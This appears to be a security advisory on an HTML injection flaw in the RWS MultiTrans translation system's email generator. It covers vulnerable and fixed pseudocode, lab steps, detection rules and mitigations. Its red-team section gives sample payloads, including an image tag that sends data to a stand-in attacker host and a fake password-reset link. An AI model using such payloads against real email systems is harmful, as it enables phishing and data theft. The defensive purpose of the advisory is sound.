CVE-2024-43025

Executive Summary

CVE-2024-43025 is an HTML injection vulnerability identified in RWS MultiTrans, a translation management system. The flaw resides in the email generation component, where a crafted payload injected into a sent email can alter the HTML layout and potentially facilitate a phishing attack. The vulnerability affects versions up to and including v7.0.23324.2. No official patch has been released, and no public proof-of-concept (PoC) code is available at this time. The CVSS score is 0.0 due to incomplete NVD data, but based on the description, the vector suggests a medium-severity issue requiring user interaction.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone enterprise application (RWS MultiTrans) and does not involve package manager supply chain risks.

CVSS Breakdown & Threat Level

The NVD has not assigned a CVSS score, but based on the description, a reasonable vector is:

• Attack Vector (AV): Network (AV:N) – the email is sent over the network.
• Attack Complexity (AC): Low (AC:L) – no special conditions required.
• Privileges Required (PR): None (PR:N) – attacker does not need authentication.
• User Interaction (UI): Required (UI:R) – victim must open the email.
• Scope (S): Changed (S:C) – the injection can affect the email client’s context.
• Confidentiality (C): Low (C:L) – limited data exposure.
• Integrity (I): Low (I:L) – HTML content can be altered.
• Availability (A): None (A:N) – no impact on availability.

Threat Level: Medium (estimated 4.3). The primary risk is phishing and social engineering, not direct system compromise.

Deep Dive & Mechanics

The vulnerability exists in the email generation module of RWS MultiTrans. When the application sends an email (e.g., notification, task assignment), it does not properly sanitize user-supplied input that is embedded in the email body. An attacker can inject arbitrary HTML tags, such as <img>, <a>, or <iframe>, into the email content. This allows the attacker to:

• Alter the visual layout of the email.
• Insert malicious links that appear legitimate.
• Potentially execute client-side scripts if the email client supports JavaScript (though modern clients often block scripts).

The injection point is likely in fields like "subject", "message body", or "sender name" that are reflected in the email without encoding. The attack vector is via a crafted email sent from the application to a victim.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern:

Vulnerable Code (pseudocode):

def send_email(to, subject, body):
    email_body = f"<html><body>{body}</body></html>"
    # No sanitization of 'body'
    send_mail(to, subject, email_body)

Patched Code (expected):

import html
def send_email(to, subject, body):
    safe_body = html.escape(body)
    email_body = f"<html><body>{safe_body}</body></html>"
    send_mail(to, subject, email_body)

The fix would involve HTML-encoding all user-controlled input before embedding it in the email template.

Exploitation & Lab Setup

Red Team

Since no public exploit exists, a red team would need to craft a payload. Example:

• Inject an <img> tag that exfiltrates data via a URL: <img src="http://attacker.com/steal?data=EMAIL_ID">
• Inject a phishing link: <a href="http://phishing.com">Click here to reset password</a>

Lab Setup:

1. Install RWS MultiTrans v7.0.23324.2 in a controlled environment.
2. Create a user account and trigger an email (e.g., password reset, task assignment).
3. Intercept the email request (e.g., using Burp Suite) and modify the body parameter to include HTML payload.
4. Send the email to a test mailbox and observe the rendered HTML.

Blue Team

• Monitor email logs for unusual HTML tags or external image requests.
• Use email security gateways to strip HTML from incoming/outgoing emails.
• Implement Content Security Policy (CSP) in email clients if possible.

Indicators of Compromise (IOCs)

• Email Headers: Unusual Content-Type: text/html with embedded <script>, <iframe>, or <img> tags.
• Network Traffic: Outbound connections to unknown domains from email clients (e.g., image loading).
• Logs: Application logs showing injection attempts in email fields (e.g., body=<script>alert(1)</script>).
• File Hashes: No specific file hashes; the vulnerability is in the application logic.

Detection Engineering

YARA Rule

rule CVE_2024_43025_HTML_Injection {
    meta:
        description = "Detects HTML injection payloads in RWS MultiTrans emails"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-43025"
    strings:
        $html_tag = /<[a-zA-Z]+[^>]*>/
        $script_tag = /<script[^>]*>/
        $img_tag = /<img[^>]*src=/
        $iframe_tag = /<iframe[^>]*>/
    condition:
        any of ($html_tag) and (any of ($script_tag, $img_tag, $iframe_tag))
}

Sigma Rule

title: CVE-2024-43025 HTML Injection in RWS MultiTrans Email
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTML injection attempts in email body fields
author: Valters IT
logsource:
    product: rws_multitrans
    service: email
detection:
    selection:
        email_body|contains:
            - '<script>'
            - '<img'
            - '<iframe'
            - '<a href='
    condition: selection
falsepositives:
    - Legitimate HTML emails from trusted sources
level: medium

Suricata Rule

alert tcp any any -> any 25 (msg:"CVE-2024-43025 HTML Injection in RWS MultiTrans Email"; flow:to_server; content:"<script"; nocase; content:"<img"; nocase; distance:0; within:500; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable HTML emails in RWS MultiTrans configuration if possible (switch to plain text).
2. Apply input validation on all email fields (subject, body, sender name) to strip HTML tags.
3. Use a Web Application Firewall (WAF) to filter outbound emails containing suspicious HTML.

Long-term Fix:

• Vendor must release a patch that HTML-encodes all user input before email generation.
• Until then, consider using a proxy or email gateway that sanitizes HTML content.

Workaround:

• Manually edit the email template files (if accessible) to add html.escape() calls.

Valters IT